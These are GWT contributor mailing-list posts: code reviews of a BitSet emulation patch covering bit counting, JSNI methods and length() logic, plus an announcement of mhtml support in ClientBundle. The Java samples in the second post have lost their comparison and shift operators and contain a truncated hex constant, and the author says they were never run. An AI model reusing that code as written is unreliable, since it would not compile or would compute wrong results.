preferable? http://gwt-code-reviews.appspot.com/33815/diff/9/1007#newcode498 Line 498: // the code used is faster than the following: I'd imagine it's not uncommon in an /interpreted/ language that 1 instruction, whatever it is, is faster than 4 or 5 other instructions. And a multiply is likely compiled away to shifts in JIT compiled VMs. Are you asking me to site a published paper on this version of the algorithm? I googled and found this algorithm in an AMD reference: www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/25112.PDF It's listed in chapter 8, on page 180. The BitSet test unit I wrote shows this code to be twice as fast as calling Integer::bitCount. However, I looked up Integer::bitCount's source and replaced my code with that, and it's nearly as fast. The obvious conclusion here is that a majority of this gain is from inlining. Future versions of GWT may inline this for us, so I will concede your point and replace this with Integer::bitCount unless you say otherwise. http://gwt-code-reviews.appspot.com/33815/diff/9/1005 File user/test/com/google/gwt/emultest/java/util/BitSetTest.java (right): http://gwt-code-reviews.appspot.com/33815/diff/9/1005#newcode117 Line 117: .cardinality()); i.e., don't break between the object and its method name during an invocation. Oops, I don't normally break between an object and it's method. I formatted the code with eclipse and didn't catch this. http://gwt-code-reviews.appspot.com/33815 --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] Re: Patch for issue 3279
O(N) temporary memory usage, which having the three native methods approach (getWordPositions, setWord, getWord) is likely to have, is a reasonable tradeoff to make since it will greatly enhance readability. Your approach of using array indexing already saves a lot of memory as it only uses O(N) memory where N is the number of set bits. Trying to optimize some temporary memory, by making the code much harder to read, is a premature optimization. Using nextSetBit() repeatedly is a non-starter since compared to the integer-by-integer approach, every operation will be bit-by-bit. This will be x-times slower, where x is the average number of bits set in an integer. So, I recommend refactoring all code such that getWordPositions, getWord, and setWord are the *only* 3 JSNI methods. I *think* this is possible. Thoughts? The Gwt compiler will also be able to optimize better with only 3 Jsni methods. For example, with cardinality, the method could be (Gwt Compiler will do the necessary inlining): public int cardinality() { JsArrayInteger positions = getWordPositions(this.array); int count = 0; for (int i = 0; i positions.length(); i++) { count += Integer.bitCount(positions.get(i)); } return count; } Finally, an implementation for length() without log can be: public int length() { JsArrayInteger positions = getWordPositions(this.array); int max = -1; for (int i = 0; i positions.length(); i++) { int position = positions.get(i); if (position max) { max = position; } } if (max == -1) { return 0; } // compute the position of the leftmost bit int wordValue = getWord(this.array, max); int position = max * 32; int offsets[] = {16, 8, 4, 2, 1}; int intValues[] = {0x, 0xFF00, 0xF0, 0xC, 0x2}; for (int i = 0; i offsets.length; i++) { if ((wordValue intValues[i]) != 0) { position = position + offsets[i]; wordValue = wordValue offsets[i]; } } position += wordValue; return position; } Note that I have not run any of the samples, but you should get the basic idea. Looking forward to your patch with these changes. http://gwt-code-reviews.appspot.com/33815 --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] Re: Patch for issue 3279
Using nextSetBit() repeatedly is a non-starter since compared to the integer-by-integer approach, every operation will be bit-by-bit. This will be x-times slower, where x is the average number of bits set in an integer. I guess I wasn't clear in this regard, I was talking about just refactoring out a method that's just the core of nextSetBit, perhaps with the name nextValue. This would find the next integer index into the array, it would not operate on the bit level. This is would be very fast for dense arrays since the first thing it would check would be the next index, and it'd find it. So, I recommend refactoring all code such that getWordPositions, getWord, and setWord are the *only* 3 JSNI methods. I *think* this is possible. Thoughts? The Gwt compiler will also be able to optimize better with only 3 Jsni methods. There are two other methods I think are essential One to set the length(JsArrayInteger array, int length) { array.length = length; } and one to delete(JsArrayInteger array, int index) { delete array[index]; } I also don't think methods like trimToSize are nearly as efficient in Java, it's not hard to read, and I don't think there's much the compiler can optimize there. This is a large class. How about I start by getting rid of as many JSNI methods as I can. http://gwt-code-reviews.appspot.com/33815 --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---
[gwt-contrib] Add mhtml support to ClientBundle
Reviewers: rjrjr, jgw, Description: This patch adds support for bundling ClientBundle resources into a single mhtml document to reduce the total number of round trips required in IE6. It furthermore enables the use of data: urls for IE8. Specifics: - The mhtml format is defined in rfc 2557; it's basically a MIME multipart message. - The new support is added by creating a new MhtmlResourceContext and a trivial MhtmlClientBundleGenerator to load the new context implementation when the ie6 user.agent is in use. - Moved the maximum size constant and base64 encoding function from InlineResourceContext to AbstractResourceContext I verified that the mhtml approach works in regular IE6 as well as IE8 in compatibility mode, both with ImageResource+Image widget and imageresour...@sprite approaches. The data: URL approach was verified with IE8 in standards mode. Please review this at http://gwt-code-reviews.appspot.com/33828 Affected files: user/src/com/google/gwt/resources/Resources.gwt.xml user/src/com/google/gwt/resources/rebind/context/AbstractClientBundleGenerator.java user/src/com/google/gwt/resources/rebind/context/AbstractResourceContext.java user/src/com/google/gwt/resources/rebind/context/InlineResourceContext.java user/src/com/google/gwt/resources/rebind/context/MhtmlClientBundleGenerator.java user/src/com/google/gwt/resources/rebind/context/MhtmlResourceContext.java user/src/com/google/gwt/resources/rebind/context/StaticResourceContext.java --~--~-~--~~~---~--~~ http://groups.google.com/group/Google-Web-Toolkit-Contributors -~--~~~~--~~--~--~---